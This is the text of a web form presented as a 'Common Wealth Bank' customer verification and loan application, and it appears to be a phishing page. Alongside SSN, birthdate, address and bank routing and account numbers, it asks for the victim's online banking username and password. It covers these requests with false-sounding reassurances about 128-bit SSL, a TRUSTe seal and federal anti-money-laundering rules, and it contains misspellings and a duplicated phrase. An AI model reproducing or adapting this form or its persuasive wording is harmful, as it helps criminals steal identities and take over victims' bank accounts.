Contact Form Customer Verification Form Personal Details What's your name? * First Name * Middle Name Last Name * We need this to find your credit report. What's your home adress? Address Line 1* Address Line 2 City* Alabama Alaska Arizona Arkansas California Colorado Connecticut Delaware District of Columbia Florida Georgia Hawaii Idaho Illinois Indiana Iowa Kansas Kentucky Louisiana Maine Maryland Massachusetts Michigan Minnesota Mississippi Missouri Montana Nebraska Nevada New Hampshire New Jersey New Mexico New York North Carolina North Dakota Ohio Oklahoma Oregon Pennsylvania Rhode Island South Carolina South Dakota Tennessee Texas Utah Vermont Virginia Washington West Virginia Wisconsin Wyoming State Zip Code* We want to make sure we're looking for the right member. What's your email? * Sharing your email helps us verify your identity and create your offer. What's your birthdate * Sharing your birthday helps us verify your identity and create your offer. How much do you make in a month? Your salary, retirement pay, or part time jobs count. What's your phone number? * Let us know the best number to reach you at. What's your social security number? * Sharing your SSN helps us verify your identity and protect you against potential fraud. Any additional income? This helps us understand your income better. Loan Details What's your approval code? Please enter your valid approval code. How much do you need? * Please enter the amount of loan. What's the money for? Chose one Green loan Debt consolidation Credit card Moving relocation Rent and electricity Other How will you rate your credit score? Bad Credit: 300-599Poor Credit: 600-649Fair Credit: 650-699Good Credit: 700-749Excellent Credit: 750 and above Bank Details What's your bank name? Your safety is our priority. In fact we've been awarded TRUSTe's Privacy seal for data transparency and accountability. What's your ABA/routing number? * Please enter the routing number provided by your financial institution How long you have been with your bank? 3 to 6 months 6 to 12 months 1 to 3 years 3 to 6 years More then 10 years We know that your information is personal, so we use bank level encryption at all times. What's your account number? * Please enter the account number provided by your financial institution Mobile/Online Banking Details Enter your mobile/online banking username * We use 128-bit SSL protection and strict, high levels of security & encryption standards to keep your information safe. NOTE: THIS FIELD IS CASE SENSITIVE. Enter your mobile/online banking password * Password Confirm Password We use 128-bit SSL protection and strict, high levels of security & encryption standards to keep your information safe. NOTE: THIS FIELD IS CASE SENSITIVE IMPORTANT INFORMATION ABOUT PROCEDURES FOR VERIFYING/OPENING NEW ACCOUNT. *To help the government fight the funding of terrorism and money laundering activities. Federal laws require all financial institutions to obtain, verify and record information that identifies each information that identifies each person who open an account *What this mean for you. When you verify or open an account. We will ask for your name address, date of birth and other information that will allow us to identify you. We may also ask to see your driver license or other identifying documents *Your loan APR will depend upon your credit score and other key financial characteristics including but not limited to the amount financed, loan term length and your credit usage history. *All legal documents and disclosure must be signed by each applicant individually. Online Privacy Policy. This Online Privacy Policy applies to all online and offline interaction with Common Wealth Bank or any of their subsidiaries, as may be applicable (collectively "Common Wealth Bank","we","us","our") as more specifically noted below and our practices relating to the personal information we collect from you. This Online Privacy policy is effective as of January 1,2023